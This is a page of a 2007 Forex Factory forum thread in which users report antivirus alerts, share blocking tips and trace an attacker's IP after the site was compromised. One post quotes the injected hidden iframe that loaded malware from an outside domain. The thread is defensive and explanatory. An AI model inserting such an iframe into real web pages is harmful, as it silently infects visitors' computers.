Virus Alert!! | Page 5 | Forex Factory

Options

Go to
Permalinks
Print Thread

Similar Threads

False Virus alert on AVG for MT4 17 replies

Mt4 virus alert 8 replies

CCI Alert - audio and visual alert 1 reply

False Virus Alert in the MT4 update ! 7 replies

Attachments: Virus Alert!!
Exit Attachments

Virus Alert!!

  • #81
  • Apr 17, 2007 5:14am Apr 17, 2007 5:14am
Quoting Miguel
My antivirus just found another virus now!! i am out
Beat them - stay. I'm going nowhere! For me it's working out at six clicks for every link - but that's just so I know what's going on. I can turn the alerts off then I won't be affected at all. Has a virus actually got on your hard drive?
Do not focus on making money; focus on protecting what you have.
  • #82
  • Apr 17, 2007 5:16am Apr 17, 2007 5:16am
Hi everyone.

The virus attack to FF this weak is very bad news.

I show how block the conection to the virus trojan in D-link routers.

1. go to the admin center: 192.168.0.1 (login: admin pass
2. go to the advanced item.
3. go to filter (left panel).
4. select url blocking.
5. type: codecsoft
6. click on enabled and apply.

That's all
Attached Image(s) (click to enlarge)
Click to Enlarge Name: virus.jpg Size: 63 KB
Click to Enlarge Name: router.jpg Size: 44 KB
  • #83
  • Apr 17, 2007 5:16am Apr 17, 2007 5:16am
Quoting Why Oh Why
Beat them - stay. I'm going nowhere! For me it's working out at six clicks for every link - but that's just so I know what's going on. I can turn the alerts off then I won't be affected at all. Has a virus actually got on your hard drive?
Sorry for you mate. All I can say is get Bullguard - I've never rated Norton. Good luck.
Do not focus on making money; focus on protecting what you have.
  • #84
  • Apr 17, 2007 5:18am Apr 17, 2007 5:18am
Quoting Why Oh Why
Thanks AT. Bullguard is still blocking 5 viruses for me on every click here at FF only. C'est la vie.
how about switching to Firefox
  • #85
  • Apr 17, 2007 5:43am Apr 17, 2007 5:43am
Used it yesterday melpheos when the attack happened. It got stuck and I had to reboot. Also it just doesn't handle some of my regular websites I visit as well as IE7. Display issues - particularly on some embedded stream windows. I've turned my alerts off now so browsing is back to normal. Bullguard is still blocking though - 5 every time. Anyone know how I can change my displayed posts back to 30 - multi threads like this one appear blank after the first page? I'm not getting an answer elsewhere and apparantly that resolves the issue.

I only got here by clicking reply on the first page then seeing the page 2 comments below the reply box.
Do not focus on making money; focus on protecting what you have.
  • #86
  • Apr 17, 2007 6:11am Apr 17, 2007 6:11am
Trojan-Downloader.VBS.Agent.u


My scanner finds this trojan every time FF loads. This is very annoying.
  • #87
  • Apr 17, 2007 6:13am Apr 17, 2007 6:13am
Quoting Why Oh Why
Anyone know how I can change my displayed posts back to 30 - multi threads like this one appear blank after the first page? I'm not getting an answer elsewhere and apparantly that resolves the issue.
Back on topic and I'm still blocking 4 viruses every link.
Do not focus on making money; focus on protecting what you have.
  • #88
  • Apr 17, 2007 6:26am Apr 17, 2007 6:26am
The same with me. I think that the problem is only with me and ask the system administrator to kill my user. My firewall make me a lot of problems when I try to visit the forexfactory forum.
Val144

Quoting Jack Bauer
Trojan-Downloader.VBS.Agent.u


My scanner finds this trojan every time FF loads. This is very annoying.
It’s just emotions & money
  • #89
  • Apr 17, 2007 6:39am Apr 17, 2007 6:39am
Yep, i have the problem too. I am running IE 6 with ZoneAlarm Pro. The viruses are being picked up every time i navigate between pages on the forum. Doesn't seem to be slowing the navigation down too much but now and again ZoneAlarm seems to use 100% CPU, i suppose whilst it is dealing with these?
I have also been presented with certain dodgey processes that are trying to launch things on my computer, see attached message from ZoneAlarm.
I have also got the red circle with the white cross in my taskbar, indicating that i have an infection, ooh eer! It keeps popping up and i can't get rid of it, but i am assuming this will be the case until it goes away.
Is anybody else experiencing similar problems?

http://www.forexfactory.com/attachme...1&d=1176809980
Attached Image (click to enlarge)
Click to Enlarge Name: ZoneAlarm.jpg Size: 100 KB
  • #90
  • Apr 17, 2007 6:42am Apr 17, 2007 6:42am
Kaspersky detected troyan virus too
and carantined it

Was FF infected with virus?

who did it?
kiss the trend
  • #91
  • Apr 17, 2007 6:44am Apr 17, 2007 6:44am
two of my virus scanners in 2 computers found viruses when i open this site
what happended?
  • #92
  • Apr 17, 2007 6:48am Apr 17, 2007 6:48am
I just got hit with virus warning 1243 GMT 17 April. Happened yesterday too.
  • #93
  • Apr 17, 2007 6:57am Apr 17, 2007 6:57am
for firefox install no script. then block this source - you don't need to disable java/jscript.

time to run a trace...
Attached Image
  • #94
  • Apr 17, 2007 7:04am Apr 17, 2007 7:04am
i tried tracing this address but to no success. however it responds with a ping so he can't be that bright leaving this port open. are you sure it's the right address?

Quoting iiivb
81.95.149.220

This is the ip address of the attacker... block it EXPLICITLY in your router hardware firewall AND/OR your software firewall
  • #95
  • Apr 17, 2007 7:07am Apr 17, 2007 7:07am
This line is inserted into every FF page. The virus source.

<iframe src='http://codecsoft.net/strong/172/' frameborder=0 width=1 height=1></iframe>
Tra-X
  • #96
  • Apr 17, 2007 7:14am Apr 17, 2007 7:14am
Quoting Isotonic
i tried tracing this address but to no success. however it responds with a ping so he can't be that bright leaving this port open. are you sure it's the right address?
81.95.149.220 is related with codecsoft.net see http://whois.domaintools.com/codecsoft.net
  • #97
  • Apr 17, 2007 7:16am Apr 17, 2007 7:16am
ok, neotrace came back with this after passing through 10 nodes:

NeoTrace Version 3.25 - TRIAL Trace Results
Target: 81.95.149.220
Date: 17/04/2007 (Tuesday), 13:00:38
Nodes: 10


Node Data
Node Net Reg IP Address Location Node Name
1 - - 10.0.0.20 UK windows
2 - - 0.0.0.0 Unknown No Response
3 - - 0.0.0.0 Unknown No Response
4 - - 0.0.0.0 Unknown No Response
5 - - 0.0.0.0 Unknown No Response
6 - - 0.0.0.0 Unknown No Response
7 - - 0.0.0.0 Unknown No Response
8 - - 0.0.0.0 Unknown No Response
9 - - 0.0.0.0 Unknown No Response
10 1 - 81.95.149.220 59.883N, 30.250E


Packet Data
Node High Low Avg Tot Lost
1 0 0 0 1 0
2 ---- ---- ---- 2 2
3 ---- ---- ---- 2 2
4 ---- ---- ---- 2 2
5 ---- ---- ---- 2 2
6 ---- ---- ---- 2 2
7 ---- ---- ---- 2 2
8 ---- ---- ---- 2 2
9 ---- ---- ---- 2 2
10 65 65 65 1 0


Network Data
Network id#: 1

OrgName: RIPE Network Coordination Centre
OrgID: RIPE
Address: P.O. Box 10096
City: Amsterdam
StateProv:
PostalCode: 1001EB
Country: NL

Registrant Data
_____
NeoTrace Copyright 1997-2001 NeoWorx Inc
4624b6e4
56 a


Apparently the address is from St Petersburg, Russia, not China - you might have given the wrong IP address. Anybody else got another one?

Download neotrace pro and find out who these hackers are...
  • #98
  • Apr 17, 2007 7:21am Apr 17, 2007 7:21am
I have TOO COIN SOFTWARE LIMITED in Russia but this is probably a proxy server I doubt he uses his own IP.
  • #99
  • Apr 17, 2007 7:22am Apr 17, 2007 7:22am
I am getting annoying popups from something called CID and popup blocker doesn't stop them.
Also downloadloaveante.exe tried to run but I deleted it.

I don't know if its related.
  • #100
  • Apr 17, 2007 7:23am Apr 17, 2007 7:23am
been hacked I am using another forum for now until it is fixed. The hacker has an IP in Russia.
2 traders viewing now